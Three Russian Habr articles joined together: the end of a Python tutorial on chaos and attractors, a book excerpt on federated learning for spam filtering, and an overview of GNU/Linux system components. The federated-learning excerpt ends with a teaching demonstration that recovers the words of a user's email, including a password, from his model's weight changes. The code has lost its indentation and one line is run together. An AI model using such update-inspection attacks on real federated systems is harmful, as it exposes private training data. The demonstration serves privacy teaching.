y.append(round(r*y[n-1]*(1-y[n-1]),4))
y=y[N-250:N]
x=[r ]*250
plt.plot( x,y, color='black', linestyle=' ', marker='.', markersize=1)
plt.title("Диаграмма ветвления при 3,8<= r<=3,9,0<=x<=1")
plt.xlabel("r")
plt.ylabel("y")
plt.axvline(x=3.83,color='black',linestyle='--')
plt.show()
```
Результат выполнения программы:
Цикл периода 3 появляется в окрестности точки *r=3,83*, а затем разбивается последовательно на циклы 6,12,24. Существование цикла с периодом 3 подразумевает наличие циклов любого другого конечного периода, а так же хаотических циклов вообще без периода.
Диаграмма ветвления позволяет проследить за развитием системы при плавном изменении параметра. При фиксированном значении параметра за орбитами точек позволяет проследить паутинная диаграмма (диаграмма Ламерея).
Построение паутинной диаграммы позволяет выявить различные эффекты, незаметные на диаграмме ветвления. Напишем программу:
**Код программы**
```
# -*- coding: utf8 -*-
import matplotlib.pyplot as plt
from numpy import *
a=2.7
x1=0.62
def ff(x):
return a*x*(1-x)
b=a*x1*(1-x1)/x1
def fl(x):
return b*x
x=0.1
y=0
Y=[]
X=[]
for i in arange(1,30,1):
X.append(x)
Y.append(y)
y=ff(x)
X.append(x)
Y.append(y)
x=y/b
plt.title('Паутинная диаграмма логистической \n функции λx(1-x) при λ = 2.7')
plt.plot(X,Y,'r')
x1=arange(0,1,0.001)
y1=[ff(x) for x in x1]
y2=[fl(x) for x in x1]
plt.plot(x1,y1,'b')
plt.plot(x1,y2,'g')
plt.grid(True)
plt.show()
```
Диаграмма Ламерея:
### Удвоение периода в механических системах
Рассмотрим дифференциальное уравнение, которое моделирует свободные затухающие колебания материальной точки заданной массы на нелинейной пружине, при которых затухание определяется скоростью.
 (6)
В уравнении (6) член *kx* представляет силу линейной пружины, приложенной к материальной точке заданной массы, а член  представляет фактическую нелинейность пружины.
Если на систему свободных колебаний (6) действует сила, то перемещение материальной точки массы, к которой приложена эта сила, описывается дифференциальным уравнением Дуффинга для вынужденных колебаний:
 (7)
Уравнение (7) для большинства входящих в него параметров решается численным методом. Механическая система для математической модели по уравнению (7) приведена на рисунке:
Особенностью приведенной системы является то, что вместо пружины используется гибкая металлическая нить, которая колеблется в вертикальной плоскости, для которой константа Гука *k* отрицательна. В этой схеме точки устойчивого равновесия (а) и (с), а точка неустойчивого равновесия (b).
При смещении материальной точки из положения (b), действующая на неё сила является отталкивающей. Если периодическая сила, например, созданная осциллирующим магнитным полем частично гасится сопротивлением воздуха. Тогда, уравнение (7) является приемлемой математической моделью для горизонтального перемещения *x(t)* материальной точки при следующих областях параметров .
Для исследования поведения такой нелинейной системы примем , тогда дифференциальное уравнение (7) принимает вид:
, (8)
Напишем программу численного интегрирования уравнения (8) при начальных условиях  в области  и для каждого из следующих значений амплитуды , причем в каждом случае вывести на график решения для плоскостей  и :
**Код программы**
```
# -*- coding: utf8 -*-
from numpy import *
from scipy. integrate import odeint
import matplotlib.pyplot as plt
for F in [0.6,0.7,0.75,0.8]:
def f(y,t):
y1,y2=y
return [y2,-y2-y1**3+y1+F*cos(t)]
t=arange(100,200,0.001)
y0=[1.0,0.0]
[y1,y2]=odeint(f, y0, t, full_output=False,rtol=1e-12).T
if F==0.6:
plt.subplot(221)
plt.title('Фазовая плоскость F=0.6,T=2'r'$\pi$')
plt.plot(y1,y2, color='black', linestyle=' ', marker='.',
markersize=0.1)
plt.grid(True)
plt.subplot(222)
plt.title('Решение x(t): F=0.6,T=2'r'$\pi$')
plt.plot(t,y1, color='black', linestyle=' ', marker='.',
markersize=0.1)
plt.grid(True)
elif F==0.7:
plt.subplot(223)
plt.plot(y1,y2, color='black', linestyle=' ', marker='.',
markersize=0.1, label='Фазовая плоскость \n F=0.7,T=4'r'$\pi$')
plt.legend(loc='upper left')
plt.grid(True)
plt.subplot(224)
plt.plot(t,y1, color='black', linestyle=' ', marker='.',
markersize=0.1, label='Решение x(t): F=0.7,T=4'r'$\pi$')
plt.legend(loc='upper left')
plt.grid(True)
plt.show()
if F==0.75:
plt.subplot(221)
plt.title('Фазовая плоскость F=0.75,T=8'r'$\pi$')
plt.plot(y1,y2, color='black', linestyle=' ', marker='.',
markersize=0.1)
plt.grid(True)
plt.subplot(222)
plt.title('Решение x(t): F=0.75,T=8'r'$\pi$')
plt.plot(t,y1, color='black', linestyle=' ', marker='.',
markersize=0.1)
plt.grid(True)
elif F==0.8:
plt.subplot(223)
plt.plot(y1,y2, color='black', linestyle=' ', marker='.',
markersize=0.1, label='Фазовая плоскость\n F=0.8,Хаос')
plt.legend(loc='upper left')
plt.grid(True)
plt.subplot(224)
plt.plot(t,y1, color='black', linestyle=' ', marker='.',
markersize=0.1, label='Решение x(t): F=0.8,Хаос')
plt.legend(loc='upper left')
plt.grid(True)
plt.show()
```
Графики как результат работы программы
Этот переход от удвоения периода к хаосу показывает общий характер поведения нелинейной механической системы в ответ на изменение соответствующего физического параметра, например: . Такие явления не происходят в линейных механических системах.
### Аттрактор Лоренца
Подстановка в уравнение Дуффинга для вынужденных колебаний (7) приводят к двумерной нелинейной системе дифференциальных уравнений, что и было приведено в предыдущем листинге. Трёхмерную нелинейную систему дифференциальных уравнений применительно к задачам метеорологии рассматривал Э.Н. Лоренц:
 (9)
Решение системы (9) лучше рассматривать в проекции на одну из трёх плоскостей. Напишем программу численного интегрирования при значениях параметров b=\frac{8}{3},s=10,r=28 и начальных условиях *x(0)=-8, y(0)=8, z(0)=27*:
**Код программы**
```
# -*- coding: utf8 -*-
import numpy as np
from scipy.integrate import odeint
import matplotlib.pyplot as plt
s,r,b=10,28,8/3
def f(y, t):
y1, y2, y3 = y
return [s*(y2-y1),
-y2+(r-y3)*y1,
-b*y3+y1*y2]
t = np.linspace(0,20,2001)
y0 = [-8, 8, 27]
[y1,y2,y3]=odeint(f, y0, t, full_output=False).T
plt.plot(y1,y3, color='black', linestyle=' ', marker='.',
markersize=2)
plt.xlabel('x')
plt.ylabel('z')
plt.grid(True)
plt.title("Проекция траектории Лоренца на плоскость xz")
plt.show()
```
Результат работы программы:
Рассматривая изображение на графике во времени, можно предположить, что точка *P(x(t), y{t), z(t))* совершает случайное число колебаний то справа, то с слева. Для метеорологического приложения системы Лоренца, после случайного числа ясных дней, следует случайное число дождливых дней.
Рассмотрим программу для отображения аттрактора Лоренца в плоскости *xyz* для мало различающихся начальных условий:
**Код программы**
```
# -*- coding: utf8 -*-
import numpy as np
from scipy.integrate import odeint
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
#Создаем функцию правой части системы уравнений.
s,r,b=10,25,3
def f(y, t):
y1, y2, y3 = y
return [s*(y2-y1),
-y2+(r-y3)*y1,
-b*y3+y1*y2]
#Решаем систему ОДУ и строим ее фазовую траекторию
t = np.linspace(0,20,2001)
y0 = [1, -1, 10]
[y1,y2,y3]=odeint(f, y0, t, full_output=False).T
fig = plt.figure(facecolor='white')
ax=Axes3D(fig)
ax.plot(y1,y2,y3,linewidth=2)
plt.xlabel('y1')
plt.ylabel('y2')
plt.title("Начальные условия: y0 = [1, -1, 10]")
y0 = [1.0001, -1, 10]
[y1,y2,y3]=odeint(f, y0, t, full_output=False).T
fig = plt.figure(facecolor='white')
ax=Axes3D(fig)
ax.plot(y1,y2,y3,linewidth=2)
plt.xlabel('y1')
plt.ylabel('y2')
plt.title("Начальные условия: y0 = [1.0001, -1, 10]")
plt.show()
```
Результаты работы программы показаны на следующих графиках:
Из приведенных графиков следует, что изменение начального условия для с 1,0 до 1,0001 резко меняет характер изменения аттрактора Лоренца.
### Система Росслера
Это очень интенсивно изучаемая нелинейная трехмерная система:
 (10)
Напишем программу для численного интегрирования системы (10) для следующих параметров *a=0,39, b=2, c=4* при начальных условиях *x(0)=0, y(0)=0, z(0)=0*:
**Код программы**
```
# -*- coding: utf8 -*-
import numpy as np
from scipy.integrate import odeint
import matplotlib.pyplot as plt
a,b,c=0.398,2.0,4.0
def f(y, t):
y1, y2, y3 = y
return [(-y2-y3),
y1+a*y2,
b+y3*(y1-c)]
t = np.linspace(0,50,5001)
y0 = [0,0, 0]
[y1,y2,y3]=odeint(f, y0, t, full_output=False).T
plt.plot(y1,y2, color='black', linestyle=' ', marker='.',
markersize=2)
plt.xlabel('x')
plt.ylabel('y')
plt.grid(True)
plt.title("Проекция ленты Ройсслера на плоскость xy")
plt.show()
```
Результат работы программы:
В плоскости лента Росслера выглядит как петля, но в пространстве она оказывается перекручена подобно ленте Мебиуса.
### Выводы
Для демонстрации явлений хаоса приведены простые и интуитивно понятные программы на высокоуровневом языке программирования Python, которые легко модернизировать под новые проекты по данной теме. Статья имеет учебно-методическую направленность и может быть использована в процессе обучения.
### Ссылки
1. [Немного о хаосе и о том, как его сотворить](https://habr.com/post/153691/)
2. [Критический взгляд на аттрактор Лоренца](https://habr.com/post/203926/)
3. [Генераторы хаоса на ПЛИС](https://habr.com/post/273915/)
4. Дифференциальные уравнения и краевые задачи: моделирование и вычисление с помощью Mathematica, Maple и MATLAB. 3-е издание.: Пер. с англ. — М.: ООО «И.Д. Вильяме», 2008. — 1104 с.: ил. — Парал. тит. англ. | https://habr.com/ru/post/436014/ | null | ru | null |
# Глубокое обучение. Федеративное обучение
[](https://habr.com/ru/company/piter/blog/458800/)Привет, Хаброжители! Мы недавно сдали в типографию книгу [Эндрю Траска](https://twitter.com/iamtrask) (Andrew W. Trask), закладывающую фундамент для дальнейшего овладения технологией глубокого обучения. Она начинается с описания основ нейронных сетей и затем подробно рассматривает дополнительные уровни и архитектуры.
Предлагаем на обзорно ознакомится с отрывком «Федеративное обучение»
Идея федеративного обучения зародилась из того, что многие данные, содержащие полезную информацию для решения задач (например, для диагностики онкологических заболеваний с использованием МРТ), трудно получить в количествах, достаточных для обучения мощной модели глубокого обучения. Кроме полезной информации, необходимой для обучения модели, наборы данных содержат также другие сведения, не имеющие отношения к решаемой задаче, но их раскрытие кому-либо потенциально может нанести вред.
Федеративное обучение — это методика заключения модели в защищенную среду и ее обучение без перемещения данных куда-либо. Рассмотрим пример.
```
import numpy as np
from collections import Counter
import random
import sys
import codecsnp.random.seed(12345)
with codecs.open('spam.txt',"r",encoding='utf-8',errors='ignore') as f: ← Данные можно получить здесь http://www2.aueb.gr/users/ion/data/enron-spam/
raw = f.readlines()
vocab, spam, ham = (set([""]), list(), list())
for row in raw:
spam.append(set(row[:-2].split(" ")))
for word in spam[-1]:
vocab.add(word)
with codecs.open('ham.txt',"r",encoding='utf-8',errors='ignore') as f:
raw = f.readlines()
for row in raw:
ham.append(set(row[:-2].split(" ")))
for word in ham[-1]:
vocab.add(word)
vocab, w2i = (list(vocab), {})
for i,w in enumerate(vocab):
w2i[w] = i
def to\_indices(input, l=500):
indices = list()
for line in input:
if(len(line) < l):
line = list(line) + [""] \* (l - len(line))
idxs = list()
for word in line:
idxs.append(w2i[word])
indices.append(idxs)
return indices
```
### Обучаем выявлять спам
**Допустим, нам нужно обучить модель определять спам по электронным письмам людей**
В данном случае мы говорим о классификации электронной почты. Нашу первую модель мы обучим на общедоступном наборе данных с названием Enron. Это огромный корпус электронных писем, опубликованных в ходе слушаний по делу компании Enron (теперь это стандартный аналитический корпус электронной почты). Интересный факт: я был знаком с людьми, которым по роду своей деятельности приходилось читать/комментировать этот набор данных, и они отмечают, что люди посылали друг другу в этих письмах самую разную информацию (часто очень личную). Но так как этот корпус был обнародован в ходе судебных разбирательств, в настоящее время его можно использовать без ограничений.
Код в предыдущем и в этом разделе реализует только подготовительные операции. Файлы с входными данными (ham.txt и spam.txt) доступны на веб-странице книги: [www.manning.com/books/grokking-deep-learning](http://www.manning.com/books/grokking-deep-learning) и в репозитории GitHub: [github.com/iamtrask/Grokking-Deep-Learning](https://github.com/iamtrask/Grokking-Deep-Learning). Мы должны предварительно обработать его, чтобы подготовить его для передачи в класс Embedding из главы 13, где мы создали свой фреймворк глубокого обучения. Как и прежде, все слова в этом корпусе преобразуются в списки индексов. Кроме того, мы приводим все письма к одинаковой длине в 500 слов, либо обрезая их, либо дополняя лексемами . Благодаря этому мы получаем набор данных прямоугольной формы.
```
spam_idx = to_indices(spam)
ham_idx = to_indices(ham)
train_spam_idx = spam_idx[0:-1000]
train_ham_idx = ham_idx[0:-1000]
test_spam_idx = spam_idx[-1000:]
test_ham_idx = ham_idx[-1000:]
train_data = list()
train_target = list()
test_data = list()
test_target = list()
for i in range(max(len(train_spam_idx),len(train_ham_idx))):
train_data.append(train_spam_idx[i%len(train_spam_idx)])
train_target.append([1])
train_data.append(train_ham_idx[i%len(train_ham_idx)])
train_target.append([0])
for i in range(max(len(test_spam_idx),len(test_ham_idx))):
test_data.append(test_spam_idx[i%len(test_spam_idx)])
test_target.append([1])
test_data.append(test_ham_idx[i%len(test_ham_idx)])
test_target.append([0])
def train(model, input_data, target_data, batch_size=500, iterations=5):
n_batches = int(len(input_data) / batch_size)
for iter in range(iterations):
iter_loss = 0
for b_i in range(n_batches):
# дополняющая лексема не должна оказывать влияния на прогноз
model.weight.data[w2i['']] \*= 0
input = Tensor(input\_data[b\_i\*bs:(b\_i+1)\*bs], autograd=True)
target = Tensor(target\_data[b\_i\*bs:(b\_i+1)\*bs], autograd=True)
pred = model.forward(input).sum(1).sigmoid()
loss = criterion.forward(pred,target)
loss.backward()
optim.step()
iter\_loss += loss.data[0] / bs
sys.stdout.write("\r\tLoss:" + str(iter\_loss / (b\_i+1)))
print()
return model
def test(model, test\_input, test\_output):
model.weight.data[w2i['']] \*= 0
input = Tensor(test\_input, autograd=True)
target = Tensor(test\_output, autograd=True)
pred = model.forward(input).sum(1).sigmoid()
return ((pred.data > 0.5) == target.data).mean()
```
Определив вспомогательные функции train() и test(), мы можем инициализировать нейронную сеть и обучить ее, написав всего несколько строк кода. Уже после трех итераций сеть оказывается в состоянии классифицировать контрольный набор данных с точностью 99.45 % (контрольный набор данных хорошо сбалансирован, поэтому этот результат можно считать превосходным):
```
model = Embedding(vocab_size=len(vocab), dim=1)
model.weight.data *= 0
criterion = MSELoss()
optim = SGD(parameters=model.get_parameters(), alpha=0.01)
for i in range(3):
model = train(model, train_data, train_target, iterations=1)
print("% Correct on Test Set: " + \
str(test(model, test_data, test_target)*100))
______________________________________________________________________________
Loss:0.037140416860871446
% Correct on Test Set: 98.65
Loss:0.011258669226059114
% Correct on Test Set: 99.15
Loss:0.008068268387986223
% Correct on Test Set: 99.45
```
### Сделаем модель федеративной
**Выше было выполнено самое обычное глубокое обучение. Теперь добавим конфиденциальности**
В предыдущем разделе мы реализовали пример анализа электронной почты. Теперь поместим все электронные письма в одно место. Это старый добрый метод работы (который все еще широко используется во всем мире). Для начала сымитируем окружение федеративного обучения, в котором имеется несколько разных коллекций писем:
```
bob = (train_data[0:1000], train_target[0:1000])
alice = (train_data[1000:2000], train_target[1000:2000])
sue = (train_data[2000:], train_target[2000:])
```
Пока ничего сложного. Теперь мы можем выполнить ту же процедуру обучения, что и прежде, но уже на трех отдельных наборах данных. После каждой итерации мы будем усреднять значения в моделях Боба (Bob), Алисы (Alice) и Сью (Sue) и оценивать результаты. Обратите внимание, что некоторые методы федеративного обучения предусматривают объединение после каждого пакета (или коллекции пакетов); я же решил сохранить код максимально простым:
```
for i in range(3):
print("Starting Training Round...")
print("\tStep 1: send the model to Bob")
bob_model = train(copy.deepcopy(model), bob[0], bob[1], iterations=1)
print("\n\tStep 2: send the model to Alice")
alice_model = train(copy.deepcopy(model),
alice[0], alice[1], iterations=1)
print("\n\tStep 3: Send the model to Sue")
sue_model = train(copy.deepcopy(model), sue[0], sue[1], iterations=1)
print("\n\tAverage Everyone's New Models")
model.weight.data = (bob_model.weight.data + \
alice_model.weight.data + \
sue_model.weight.data)/3
print("\t% Correct on Test Set: " + \
str(test(model, test_data, test_target)*100))
print("\nRepeat!!\n")
```
Ниже дан фрагмент с результатами. Эта модель достигла практически того же уровня точности, что и предыдущая, и теоретически у нас отсутствовал доступ к обучающим данным — или нет? Как бы там ни было, но каждый человек изменяет модель в процессе обучения, верно? Неужели мы действительно не сможем ничего выудить из их наборов данных?
```
Starting Training Round...
Step 1: send the model to Bob
Loss:0.21908166249699718
......
Step 3: Send the model to Sue
Loss:0.015368461608470256
Average Everyone's New Models
% Correct on Test Set: 98.8
```
### Взламываем федеративную модель
**Рассмотрим простой пример, как извлечь информацию из обучающего набора данных**
Федеративное обучение страдает двумя большими проблемами, особенно трудноразрешимыми, когда у каждого человека имеется лишь маленькая горстка обучающих примеров, — скорость и конфиденциальность. Как оказывается, если у кого-то имеется лишь несколько обучающих примеров (или модель, присланная вам, была обучена лишь на нескольких примерах: обучающем пакете), вы все еще можете довольно много узнать об исходных данных. Если представить, что у вас есть 10 000 человек (и у каждого имеется очень небольшой объем данных), большую часть времени вы потратите на пересылку модели туда и обратно и не так много — на обучение (особенно если модель очень большая).
Но не будем забегать вперед. Давайте посмотрим, что можно узнать после того, как пользователь выполнит обновление весов на одном пакете:
```
import copy
bobs_email = ["my", "computer", "password", "is", "pizza"]
bob_input = np.array([[w2i[x] for x in bobs_email]])
bob_target = np.array([[0]])
model = Embedding(vocab_size=len(vocab), dim=1)
model.weight.data *= 0
bobs_model = train(copy.deepcopy(model),
bob_input, bob_target, iterations=1, batch_size=1)
```
Боб создает и обучает модель на электронных письмах в своем почтовом ящике. Но так случилось, что он сохранил свой пароль, послав самому себе письмо с текстом: «My computer password is pizza». Наивный Боб! Посмотрев, какие весовые коэффициенты изменились, мы можем выяснить словарь (и понять смысл) письма Боба:
```
for i, v in enumerate(bobs_model.weight.data - model.weight.data):
if(v != 0):
print(vocab[i])
```
Таким несложным способом мы узнали сверхсекретный пароль Боба (и, возможно, его кулинарные предпочтения). И что же делать? Как доверять федеративному обучению, если так легко узнать, какие обучающие данные вызвали изменение весов?
```
is
pizza
computer
password
my
```
» Более подробно с книгой можно ознакомиться на [сайте издательства](https://www.piter.com/collection/soon/product/grokaem-glubokoe-obuchenie)
» [Оглавление](https://storage.piter.com/upload/contents/978544611334/978544611334_X.pdf)
» [Отрывок](https://storage.piter.com/upload/contents/978544611334/978544611334_p.pdf)
Для Хаброжителей скидка 30% на предзаказ книги по купону — **Grokking Deep Learning** | https://habr.com/ru/post/458800/ | null | ru | null |
# Анатомия GNU/Linux
Какое-то время назад на Хабре была небольшая волна постов на тему «Почему я [не] выбрал Linux». Как порядочный фанатик я стриггерился, однако решил, что продуктивнее что-нибудь рассказать о своей любимой системе, чем ломать *копии* в комментариях.
У меня сложилось впечатление, что многие пользователи GNU/Linux слабо представляют, из чего сделана эта операционная система, поэтому утверждают, что она сляпана из попавшихся под руку кусков. В то же время, архитектура большинства дистрибутивов является устоявшейся и регламентируется рядом стандартов, включая стандарт графического окружения freedesktop.org и Linux Standard Base, расширяющий стандарты Unix. Мне при знакомстве с GNU/Linux несколько лет назад для погружения не хватало простой анатомической карты типичного дистрибутива, поэтому я попробую рассказать об этом сам.
### Загрузчик
Сеанс операционной системы начинается с загрузчика, как театр с вешалки. Дефолтным загрузчиком сегодня является **GNU GRUB**, известный так же как **GRUB 2**. По-прежнему доступна первая ветка, называемая теперь «**GRUB Legacy**». Другой загрузчик с давней историей — **Syslinux**.
Задача загрузчика — инициализировать ядро Linux. Для этого, в общем случае, нужно знать, где ядро лежит, и уметь прочитать это место (раздел Ext4, скажем). Ядру в помощь загрузчик обычно так же подтягивает начальный образ загрузки, о котором скажем позже. **GRUB** умеет много прочего, типа построения весьма сложных меню и чейнлоадинга других загрузчиков (Windows Boot Manager например). **GRUB** имеет конфигурационный синтаксис, отдалённо напоминающий шелл, и расширяется модулями.
GRUB велик и могуч, порой даже слишком, и встраиваемые системы часто используют компактный **Das U-Boot**.
### Ядро
Могучий **Linux** («не оставляй нас, монолит!»). Ядро операционной системы, созданное, чтобы работать с POSIX-совместимыми окружениями. Обычно лежит в `/boot/` и содержит в названии слово `vmlinuz`, где «vm» напоминает нам о поддержке виртуальной памяти, а «z» указывает, что файл сжат.
В рамках одного дистрибутива может поддерживаться несколько вариантов ядра, например:
* **mainline** («основное»);
* **LTS** (с расширенной поддержкой);
* **rt** (патченное для поддержки исполнения в режиме реального времени);
* с различными патчами для повышения производительности или защищённости (**zen**, **hardened** etc);
* **libre** (почищенное от проприетарных блобов ядро, ожидаемо поддерживающее мало оборудования).
* совсем экзотичные варианты с не-Linux ядром типа Debian GNU/Hurd (с ядром **GNU Hurd**) и Debian GNU/kFreeBSD (с ядром **FreeBSD** соответственно). Это уже, конечно, не GNU/Linux.
### Начальный образ загрузки
Начальный образ загрузки известен так же как **initrd** и **initramfs**. Представляет собой архив с образом файловой системы, развёртываемой в оперативную память в начале процесса загрузки. Несёт в себе различные драйверы и скрипты, позволяющие инициализировать оборудование и смонтировать файловые системы.
Содержимое начального образа загрузки зависит от версии ядра и потребностей пользователя (кто-то использует ZFS, а у кого-то корень зашифрован LUKS). Поэтому образ не поставляется в дистрибутивах. В дистрибутивах поставляются фреймворки для создания начальных образов по мере необходимости. Так, обычно создание свежего образа инициируется при обновлении ядра. Вот несколько популярных фреймворков:
* **initramfs-tools** — детище Debian.
* **Dracut** (произносится созвучно с сушёной кошкой) — в RHEL и производных (CentOS, Scientific Linux etc.). Наиболее гибкий и современный инструмент из перечисленных, если спросите меня.
* **mkinitcpio** поставляется в Archlinux, хотя мейнтейнеры [подумывают о **Dracut**](https://lists.archlinux.org/pipermail/arch-dev-public/2019-May/029570.html), который уже включён в репозиторий и установочные образы.
* **make-initrd** — свой путь у замечательного отечественного дистрибутива Alt Linux.
Тут же упомянем **Plymouth**, размещаемый в начальном образе. Это заставка (сплэш-скрин), позволяющая заменить вывод ядра при загрузке на произвольную анимированную картинку, например логотип дистрибутива, что принято в «дружелюбных к пользователю»™ дистрибутивах типа Ubuntu и Fedora.
### Init
Система инициализации — это пастырь процессов. Она стартует раньше всех и имеет PID 1. Она определяет уровень запуска системы и жизненный цикл большинства служб. Независмо от того, что за система инициализации представлена, она предлагает исполняемые файлы `/sbin/init` (или `/usr/bin/init`, или в том же духе, ну вы поняли).
Холиварный элемент. Много лет с нами была **Sysvinit**, пришедшая из варианта ОС Unix System V. **Sysvinit** полагалась в огромной степени на скрипты инициализации. Служил этот инит, в общем, исправно, но постепенно некоторым инженерам стало мозолить глаза последовательное исполнение скриптов и собственно скрипты, известные в жарких спорах за свою распростёртость как «баш-портянки». В конце 00-ых-начале 10-ых как грибы после дождя расплодились альтернативные системы инициализации: **OpenRC** от Gentoo, **Upstart** от Canonical, **Systemd** от Red Hat за авторством Леннарта Поттеринга. В конце концов по причинам техническим и политическим всех сожрала **Systemd**. Её восхваляют и ненавидят. Восхваляют в основном за простой и лаконичный синтаксис служб. Так, скрипт запуска веб-сервера Apache для классического инита занимает 153 строки включая комментарии, а файл службы из пакета apache в Arch Linux — 15 строк. Недолюбливают в основном за то, что эта система инициализации подрабатывает ещё и резолвером, планировщиком, менеджером сети, менеджером монтирования и Бог весть ещё чем, попирая дзен Unix.
### Командная оболочка
Командная оболочка, она же командный интерпретатор или просто шелл. Неискушённый пользователь скажет — «в гробу я этот шелл видал, можно в графическом режиме жить», и будет неправ, поскольку шелл прописан в стандарте POSIX и необходим для работоспособности системы. Есть понятие «оболочка входа» (login shell) — это первый процесс, запускамый при входе пользователя. Он подтягивает опции и переменные окружения из конфигурационных файлов, все последующие процессы запускаются в контексте этого шелла. Что будет запущено в качестве оболочки входа, определяется в `/etc/passwd`.
Наиболее распространены сегодня следующие оболочки:
* **Bourne shell** (sh) — «тот самый шелл», сложно найти дистрибутив без него.
* **Bourne again shell** (bash) — принят по умолчанию в качестве пользователькой оболочки в большинстве GNU/Linux дистрибутивов и предлагает ряд удобств по сравнению с **sh**.
* **Debian Almquist shell** (dash) — компактная облочка, совместимая с **sh**. Традиционно используется в Debian, где `/usr/bin/sh` на неё ссылается.
* **Z shell** (zsh) — похож на **bash**, но предлагает оригинальные фишечки для интерактивного ввода. Редко идёт из коробки, но обычно поставляется в репозитории.
* **BusyBox** — утилита для встраиваемых систем, которая предоставляет целое пользовательское окружение, в том числе — POSIX-совместимый шелл (вызывается так: `$ busybox sh`).
### Графический сервер
Демон, отвечающий за отрисовку окошек. Золотой стандарт графического сервера — **X Window System** с нами аж с 1984 года. Это именно стандарт, архитектура и набор протоколов. Реализаций за прошедшие годы была уйма, в каждой собственнической Unix-системе была своя. В GNU/Linux (и BSD) долгое время применялся **Xfree86**. Теперь с нами **X.Org Server**, или просто **Xorg**, он отпочковался от **XFree86**.
**X Window System** — мощная и богатая система, так, одна из возможностей — сетевая прозрачность. Вы можете запустить на своём хосте графическое приложение с другой машины, даже когда на той машине графический сервер не запущен. При помощи SSH это можно сделать, например, так (может потребоваться небольшая донастройка sshd):
```
$ ssh -X hostname firefox
```
> Надо сказать, терминология **X Window System** контринтуитивна: клиентом называется графическое приложение, а сервером — отрисовывающее. На этот счёт прошлись в классической монографии «The UNIX-HATERS Handbook».
>
>
Другая возможность **X**, отрисовка графических примитивов и текстовых глифов, использовалась в старые времена, когда мужчины были мужчинами и рисовали окошки сами, без тулкитов.
В окружениях рабочих столов активно используется **X keyboard extension**, расширение, отображающее нажатие клавиш на различные раскладки.
«Иксам» пророчат скорую кончину. Именно обширность и сложность стандарта побудила разработчиков СПО начать работу над новым стандартом — протоколом **Wayland**. **Wayland** достиг определённой стадии зрелости и с переменным успехом внедряется дистрибутивами как графический сервер по умолчанию. Тем не менее, проект **Wayland** начат в 2008 году, а стандарт **X** ещё не спешит уходить с ~~голубых~~ экранов.
Оконный менеджер WestonНа скриншоте Weston — эталонная реализация композитного менеджера Wayland. Умеет крутить окошки. А ещё его можно запустить внутри другого рабочего стола, просто выполнив в терминале `weston`.
После старта графический сервер обслуживает иерархию окон. Существует понятие «корневое окно» (root window), оно, в свою очередь, «владеет» окнами панелей, приложений. Окна приложений «владеют» своими модальными окнами. Обычно обои рабочего стола отрисовываются в корневом окне.
### Дисплейный менеджер
Не вполне интуитивно названные, дисплейные менеджеры (DM) рисуют для нас приветливое окошко входа в систему. Обычно, помимо ввода логина и пароля, они позволяют выбрать сессию (при наличии выбора в вашей системе) и задать язык сеанса. Дисплейные менеджеры делают плюс-минус одну и ту же нехитрую работу, их многообразие оправдано консистентностью с различными средами рабочего стола (что зависит, по большей части, от графического тулкита и утилит настройки). Можно жить без дисплейного сервера, как в старые добрые времена. Для этого потребуется настроить ваш `~/.xinitrc` на запуск необходимого сеанса рабочего стола. Это позволит входить через ядерную консоль и запускать рабочий стол командой `startx`.
Жизнь без DMЖизнь c SDDMТипичные представители дисплейных менеджеров:
* **GDM** из набора GNOME;
* **SDDM** из комплекта KDE;
* **LightDM** — универсальный вариант;
* **FlyDM** — из поставки Astra Linux.
### Окружение рабочего стола
Окружения рабочего стола (DE) состоит из ряда стандартных компонентов, таких, как:
* диспетчер окон;
* файловый менеджер;
* панель с треем и меню запуска приложений;
* эмулятор терминала;
* хранитель экрана, он же блокировщик экрана;
* менеджер питания;
* браузер, которым никто не пользуется;
* почтовый клиент (у зажиточных окружений);
* и проч., и проч.
Два могучих окружения, **GNOME** и **KDE**, сражаются за сердца простых пользователей, а остальные массовые десктопы ~~им завидуют~~ нередко пользуются их наработками. Некоторые хардкорные пользователи предпочитают собирать окружение рабочего стола самостоятельно на базе оконных менеджеров типа **Awesome** и **i3**.
Оконный менеджер Window MakerНа скриншоте оконный менеджер **Window Maker** из состава GNUstep. GNUstep воспроизводит окружение NeXTSTEP. Поставляется в репозиториях большинства дистрибутивов.
### Графические тулкиты
Графический тулкит — библиотека или фреймворк, упрощающая рисование формочек и кнопочек, причём в едином стиле. То, чем занимается Windows Forms на ОС другого производителя, а так же занимался некогда полулярный Motif на старых юниксах (**Open Motif** доступен поныне).
Флагманами в этой категории долгое время были и остаются **GTK** и **Qt**. **GTK** родился как тулкит для свободного графического редактора GIMP и позже переполз под крыло GNOME. Написан на чистом C с классами, имеет официальные байндинги к Python и C++, а ещё породил целый язык общего назначения Vala. **Qt** — изначально коммерческий проприетарный тулкит, сейчас является свободным ПО (но по-прежнему коммерческим). Написан на C++ с размахом, заменяя стандартную библиотеку и кучу других библиотек и предлагая метаобъектный компилятор (кодогенератор). Имеет байндинги к куче языков. KDE гордо зиждется на этом великолепии.
### Графическое API
**Mesa** — это каркас для видеовывода. Меза предоставляет API OpenGL и, с не столь давних пор, Vulkan (и несколько других API типа VDPAU и VAAPI). Можно сказать, что Mesa берёт на себя вопросы графики, которыми обычно занимается DirectX в ОС другого производителя.
### Безопасность
Обширная часть системы, и я недостаточно компетентен, чтобы в неё углубляться, тем не менее, обзорно рассмотрим.
**PAM** — Pluggable Authentication Modules — модульная система авторизации. Отвечает, как понятно из названия, за авторизацию пользователей в системе, причём разными способами. Через **PAM** авторизуются в том числе доменные пользователи, в таком случае **PAM** действует в связке с имплементацией Kerberos (обычно MIT'овский **krb5**), поскольку сам по себе PAM не работает с удалёнными клиентами. Модули представляют собой разделяемые библиотеки (исполняемые файлы с суффиксом `so`) и позволяют делать интересные штуки при входе пользователя. Например, можно создавать домашнюю директорию при первом входе (`pam_mkhomedir.so`) или монтировать файловые системы (`pam_mount.so`).
Классическая утилита **su** и более молодая **sudo** предназначены для исполнения комманд от имени другого пользователя (по умолчанию `root`). Наиболее значимая разница — **su** требует пароль пользователя, из-под которого вы хотите работать, а **sudo** — ваш пароль. **sudo** гибко настраивается, позволяя запускать только определённые команды определённым пользователям из-под других определённых пользователей, как-то так.
Менеджер авторизации **Polkit** позволяет непривилегированным процессам взаимодействовать с привилегированными. По сути он похож на **sudo**, но обладает превосходящей гибкостью и предназначен в первую очередь для приложений, в то время как **sudo** — утилита для пользователя. Правила пишутся, внезапно, на JavaScript'е.
